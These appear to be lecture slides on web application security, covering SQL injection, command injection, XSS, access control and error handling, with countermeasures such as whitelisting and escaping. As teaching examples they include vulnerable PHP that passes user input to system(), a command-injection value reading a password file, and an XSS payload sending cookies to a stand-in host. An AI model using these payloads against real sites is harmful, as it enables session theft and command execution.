


- Discuss Web application security concepts
- Explain the most important element in developing secure software
- Discuss the three main types of vulnerabilities and their countermeasures

- **Runs on web server or app server.**
 - Takes input from web users (via web server)
 - Interacts with the database and 3rd parties.
 - Prepares results for users (via web server)
- **Examples:**
 - Shopping carts, home banking, bill pay, ...
 - New code written for every web site.
- **Written in:**
 - C, PHP, Perl, Python, JSP, ASP, ...
 - Often written with little consideration for security

Dynamic Web Application



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The Most Important Thing

- Security is **NOT** a feature
 - It does NOT get added in at some point
- It **must** be a part of the **core design** of the application to which you must always devote attention and effort
 - Including well after deployment!
 - In developing each feature, in addition to focusing on the how the feature is to be used, the developer must focus on how the **feature may be misused**

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Security vs Usability

- A system can be made so secure that it is unusable and vice versa
 - A balance must be maintained between the usability of the application and its security
- As designers, we must look for ways to improve security **w/o** disproportionately affecting usability

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Three Central Facets

- In development, there are three basic dilemmas:
 - Input Validation!
 - Users/user management!
 - Error Handling Vulnerabilities


Input Validation Vulnerabilities

- SQL Injection
- Command Injection
- XSS

SQL

- Widely used database query language which can be used to interact with a database:
 - Get record/(a set of records)
 - Add data to the table
 - Modify data
- Query syntax (mostly) independent of vendor

Basic picture: SQL Injection




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SQL Injection Example

Attack Example



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SQL Injection Example




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SQL Injection Examples

Malicious Query



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What is SQL Injection?

- Input Validation Vulnerability
 - Untrusted user input in SQL query to back-end db without sanitizing the data
- Specific case of more general command injection
 - inserting untrusted input into a query or command
- Why Bad?
 - Supplied data can be misinterpreted as a command
 - Could alter the intended effect of command or query

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Preventing SQL Injection

- Input validation
 - Filter
 - Apostrophes, semicolons, percent symbols, hyphens, underscores, ...
 - Any character that has special meanings
 - Check data types (e.g., make sure it's an integer)
- Whitelisting
 - Blacklisting chars doesn't work
 - Forget to filter out some characters
 - Could prevent valid input (e.g. username O'Brien)
 - Allow only well-defined set of safe values
 - Set implicitly defined through regular expressions

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Command Injection

- Example: PHP server-side code for sending email

```
$email = $_POST["email"]  
$subject = $_POST["subject"]  
system("mail $email -s $subject < /tmp/joinmynetwork")
```

- Attacker can post

```
http://yourdomain.com/mail.pl?  
email=hacker@hackerhome.net&  
subject=foo < /usr/passwd; ls
```

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Malicious Code Injection (XSS)

- These attacks involve forcing the user to download malicious code through scripts
 - **Cross Site Scripting Attacks (XSS)**
 - The malicious user uses a form which displays what the user enters on a web page to other users
 - Not only text is present in the post...


```
<script>document.location = ... </script>
```
 - The malicious user submits the form and waits...
 - The next user who views the page is redirected along with any cookie information from original site
 - This is a trivial example, but the possibilities involved are NOT!

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Basic picture: XSS



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The Setup

- User input is echoed into HTML response.
- Example: search field
 - `http://victim.com/search.php ? term = apple`
 - search.php responds with:
 - `<HTML> <TITLE> Search Results </TITLE>`
 - `<BODY>`
 - Results for `<?php echo $_GET[term] ?>` :
 - ...
 - `</BODY> </HTML>`
- Is this exploitable?

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Bad Input

- Consider link: (properly URL encoded)
`http://victim.com/search.php ? term =<script> window.open("http://badguy.com?cookie = " + document.cookie) </script>`
- What if user clicks on this link?
 - Browser goes to `victim.com/search.php`
 - Victim.com returns
 - `<HTML> Results for <script> ... </script>`
 - Browser executes script:
 - Sends badguy.com cookie for victim.com

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So what?

- Why would user click on such a link?
 - Phishing email in webmail client (e.g. gmail).
 - Link in doubleclick banner ad
 - ... several ways to fool user into clicking
- What if badguy.com gets cookie for victim.com ?
 - Cookie can include session auth for victim.com
 - Or other data intended only for victim.com
 - Violates same origin policy

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Much worse ...

- Attacker can execute arbitrary scripts in browser
- Can manipulate any DOM component on victim.com
 - Control links on page
 - Control form fields (e.g. password field) on this page and linked pages.
 - Example: MySpace.com phishing attack injects password field that sends password to bad guy.
- Can infect other users: MySpace.com worm.

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Commonality?

- XSS, SQL Injection, Command Injection all focused on invalidated input...
 - One golden rule
 - **TRUST NO USER INPUT EVER**

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More on Filtering Input

- Double check expected values
 - Range of possible values presented...
- Filtering even basic values
 - Natural error-checking improves security
- HTML Escaping
 - Some PL provide functions for performing this!
- Making strings safe for SQL
 - Some PL provide functions for performing this!

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3 Facets of Application Security

- Input Validation!
- User management!
- Error Handling Vulnerabilities

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User Mgmt/Access Control Failures

- Usually inconsistently defined/applied
 - Application session state management!
 - Application does something it's not supposed to do (access control permissions)
- Examples
 - File permissions – may allow access to config/password files
 - Client-side caching

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UI Design & Authentication

- Consider UI design to fix bad design/impl
 - Specifically, page sequencing
- Authentication is a major concern when designing UI and overall functionality
 - What do we wish to protect?
 - Public & private areas?
 - How do we wish to protect it?
 - Login to view private areas only
 - RBAC ?
 - What should each role see (and be able to do)?

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Basic Login Procedure

- If (logged on)
 - Page displays, etc
- Else
 - Force user to login
 - Asks user for username/password/token, etc
 - Ensures that all necessary information is presented
 - Handles appropriate login procedures
 - Varies for authentication mechanisms
 - Redirects user to requested page/start page

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Other Considerations

- Code organization
 - Protect all non-public assets
- Careful about what goes into code
 - Some code snippets provide information that the average person shouldn't have
 - DB connection passwords, etc.
- File system considerations

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3 Facets of Application Security

- Input Validation!
- User management!
- Error Handling Vulnerabilities!

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Error Handling?

- Helps attacker know how to target the app
 - Examples: stack traces, DB dumps
- Inconsistencies can be revealing too
 - “File not found” vs. “Access denied”
- Fail-open errors
- Need to give enough info to user w/o giving too much info to attacker
- Countermeasures
 - Modify default error pages (404, 401, etc.)

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Good News?

- There is a LOT of help to be had!
 - Most PL contain tools to eliminate attacks
 - SQL/Command/HTML Cleaners
 - Web application firewalls
 - Can help prevent these attacks!
 - XSS, SQL Injection, etc.
 - Code Checking/Review
 - MUST PERFORM THIS STEP!

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Code checking

- Blackbox security testing services:
 - Whitehatsec.com
- Automated blackbox testing tools:
 - Cenzic, Hailstorm
 - Spidynamic, WebInspect
 - eEye, Retina
- Web application hardening tools:
 - WebSSARI [WWW'04] :
 - based on information flow

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After Development...

- Another important concern is after the system is developed
 - A Major part of Security is monitoring the system
 - A good developer **always** remains vigilant!
- Security is an on-going battle
 - That can **NEVER** be won!

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Summary

- The MOST important element in developing secure software is
 - Security is NOT a feature!
- Discussed the three main types of vulnerabilities and their countermeasures
 - XSS, SQL/Command Injection
 - User Mgmt/Access Control
 - Error Handling

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Questions



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